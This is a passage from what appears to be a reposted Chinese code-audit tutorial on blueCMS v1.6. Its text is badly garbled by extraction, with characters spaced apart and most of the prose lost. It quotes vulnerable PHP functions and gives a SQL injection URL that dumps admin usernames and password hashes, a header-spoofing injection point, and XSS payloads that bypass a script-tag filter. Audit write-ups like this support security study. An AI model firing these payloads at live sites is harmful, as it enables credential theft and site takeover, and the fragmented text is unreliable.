[13828] 2019-03-05_从小众blueCMS入坑代码审计

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2019-03-05_从小众blueCMS入坑代码审计 b l u e C M S 1 3 3 2 4 0 7 4 8 9 3   F r e e B u f   2 0 1 9 - 0 3 - 0 5 b l u e C M S 0 d a y b l u e C M S b l u e C M S C M S a d _ j s . p h p s q l B l u e C M S   v 1 . 6 P h p s t u d y   p h p 5 . 2 + a p a c h e + m y s q l   W I N 7   6 4 s q l 1 c o m m o n . i n c . p h p $ _ p o s t $ _ g e t $ _ c o o k i e s $ _ r e q u e s t g p c a d _ j s . p h p $ a d _ i d 使 g e t o n e ( ) m y s q l . c l a s s . p h p s q l i f ( ! g e t _ m a g i c _ q u o t e s _ g p c ( ) ) {         $ _ P O S T   =   d e e p _ a d d s l a s h e s ( $ _ P O S T ) ;         $ _ G E T   =   d e e p _ a d d s l a s h e s ( $ _ G E T ) ;         $ _ C O O K I E S   =   d e e p _ a d d s l a s h e s ( $ _ C O O K I E S ) ;         $ _ R E Q U E S T   =   d e e p _ a d d s l a s h e s ( $ _ R E Q U E S T ) ; }
p o c h t t p : / / 1 7 2 . 1 6 . 6 9 . 2 / b l u e c m s / a d _ j s . p h p ? a d _ i d = 1   U N I O N   S E L E C T 1 , 2 , 3 , 4 , 5 , 6 , G R O U P _ C O N C A T ( a d m i n _ n a m e , 0 x 3 a , p w d )   F R O M   b l u e _ a d m i n s q l 2 $ _ p o s t $ _ g e t $ _ c o o k i e s $ _ r e q u e s t g p c $ _ S E R V E R i p i p c l i e n t - i p x - f o r w a r d e d - f o r g e t i p c o m m e n t . p h p c o m m e n t . p h p c o m m e n t h t m l x s s g p c i n t v a l s q l f u n c t i o n   g e t i p ( ) {         i f   ( g e t e n v ( ' H T T P _ C L I E N T _ I P ' ) )         {                 $ i p   =   g e t e n v ( ' H T T P _ C L I E N T _ I P ' ) ;           }         e l s e i f   ( g e t e n v ( ' H T T P _ X _ F O R W A R D E D _ F O R ' ) )           {                   $ i p   =   g e t e n v ( ' H T T P _ X _ F O R W A R D E D _ F O R ' ) ;         }         e l s e i f   ( g e t e n v ( ' H T T P _ X _ F O R W A R D E D ' ) )           {                   $ i p   =   g e t e n v ( ' H T T P _ X _ F O R W A R D E D ' ) ;         }         e l s e i f   ( g e t e n v ( ' H T T P _ F O R W A R D E D _ F O R ' ) )         {                 $ i p   =   g e t e n v ( ' H T T P _ F O R W A R D E D _ F O R ' ) ;           }         e l s e i f   ( g e t e n v ( ' H T T P _ F O R W A R D E D ' ) )         {                 $ i p   =   g e t e n v ( ' H T T P _ F O R W A R D E D ' ) ;         }         e l s e         {                   $ i p   =   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ;         }         r e t u r n   $ i p ; }
$ f r o m 使 b a s e 6 4 X s s X s s 1 u s e r . p h p x s s $ a d d r e s s h t m l $ e m a i l $ m s n x s s q q m o b i l e _ p h o n e 2 0 x s s   / / e l s e i f ( $ a c t   = =   ' e d i t _ u s e r _ i n f o ' ) {           $ u s e r _ i d   =   i n t v a l ( $ _ S E S S I O N [ ' u s e r _ i d ' ] ) ;           i f ( e m p t y ( $ u s e r _ i d ) ) {                   r e t u r n   f a l s e ;           }         $ b i r t h d a y   =   t r i m ( $ _ P O S T [ ' b i r t h d a y ' ] ) ;         $ s e x   =   i n t v a l ( $ _ P O S T [ ' s e x ' ] ) ;         $ e m a i l   =   ! e m p t y ( $ _ P O S T [ ' e m a i l ' ] )   ?   t r i m ( $ _ P O S T [ ' e m a i l ' ] )   :   ' ' ;         $ m s n   =   ! e m p t y ( $ _ P O S T [ ' m s n ' ] )   ?   t r i m ( $ _ P O S T [ ' m s n ' ] )   :   ' ' ;         $ q q   =   ! e m p t y ( $ _ P O S T [ ' q q ' ] )   ?   t r i m ( $ _ P O S T [ ' q q ' ] )   :   ' ' ;         $ m o b i l e _ p h o n e   =   ! e m p t y ( $ _ P O S T [ ' m o b i l e _ p h o n e ' ] )   ?   t r i m ( $ _ P O S T [ ' m o b i l e _ p h o n e ' ] )   :   ' ' ;         $ o f f i c e _ p h o n e   =   ! e m p t y ( $ _ P O S T [ ' o f f i c e _ p h o n e ' ] )   ?   t r i m ( $ _ P O S T [ ' o f f i c e _ p h o n e ' ] )   :   ' ' ;         $ h o m e _ p h o n e       =   ! e m p t y ( $ _ P O S T [ ' h o m e _ p h o n e ' ] )   ?   t r i m ( $ _ P O S T [ ' h o m e _ p h o n e ' ] )   :   ' ' ;         $ a d d r e s s   =   ! e m p t y ( $ _ P O S T [ ' a d d r e s s ' ] )   ?   h t m l s p e c i a l c h a r s ( $ _ P O S T [ ' a d d r e s s ' ] )   :   ' ' ;
$ e m a i l F 1 2 X s s 2 u s e r . p h p x s s $ d e s c r i p t $ c o n t e n t h t m l f i l t e r _ d a t a < i m g   s r c = 1   o n e r r o r = a l e r t ( 1 ) > < s c i r < s c r i p t > < s c i r         e l s e i f   ( $ a c t   = =   ' d o _ a d d _ n e w s ' )   {           i n c l u d e _ o n c e   ' i n c l u d e / u p l o a d . c l a s s . p h p ' ;           $ i m a g e   =   n e w   u p l o a d ( ) ;           $ t i t l e   =   ! e m p t y ( $ _ P O S T [ ' t i t l e ' ] )   ?   h t m l s p e c i a l c h a r s ( t r i m ( $ _ P O S T [ ' t i t l e ' ] ) )   :   ' ' ;           $ c o l o r   =   ! e m p t y ( $ _ P O S T [ ' c o l o r ' ] )   ?   h t m l s p e c i a l c h a r s ( t r i m ( $ _ P O S T [ ' c o l o r ' ] ) )   :   ' ' ;           $ c i d   =   ! e m p t y ( $ _ P O S T [ ' c i d ' ] )   ?   i n t v a l ( $ _ P O S T [ ' c i d ' ] )   :   ' ' ;           i f ( e m p t y ( $ c i d ) ) {                   s h o w m s g ( ' ' ) ;           }           $ a u t h o r   =   ! e m p t y ( $ _ P O S T [ ' a u t h o r ' ] )   ?   h t m l s p e c i a l c h a r s ( t r i m ( $ _ P O S T [ ' a u t h o r ' ] ) )   :   $ _ S E S S I O N [ ' a d m i n _ n a m e ' ] ;           $ s o u r c e   =   ! e m p t y ( $ _ P O S T [ ' s o u r c e ' ] )   ?   h t m l s p e c i a l c h a r s ( t r i m ( $ _ P O S T [ ' s o u r c e ' ] ) )   :   ' ' ;         $ c o n t e n t   =   ! e m p t y ( $ _ P O S T [ ' c o n t e n t ' ] )   ?   f i l t e r _ d a t a ( $ _ P O S T [ ' c o n t e n t ' ] )   :   ' ' ;         $ d e s c r i p t   =   ! e m p t y ( $ _ P O S T [ ' d e s c r i p t ' ] )   ?   m b _ s u b s t r ( $ _ P O S T [ ' d e s c r i p t ' ] ,   0 ,   9 0 )   :   m b _ s u b s t r ( h t m l 2 t e x t ( $ _ P O S T [ ' c o n t e n t ' ] ) , 0 ,   9 0 ) ; f u n c t i o n   f i l t e r _ d a t a ( $ s t r ) {         $ s t r   =   p r e g _ r e p l a c e ( " / < ( / ? ) ( s c r i p t | i ? f r a m e | m e t a | l i n k ) ( s * ) [ ^ < ] * > / " ,   " " ,   $ s t r ) ;         r e t u r n   $ s t r ; }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则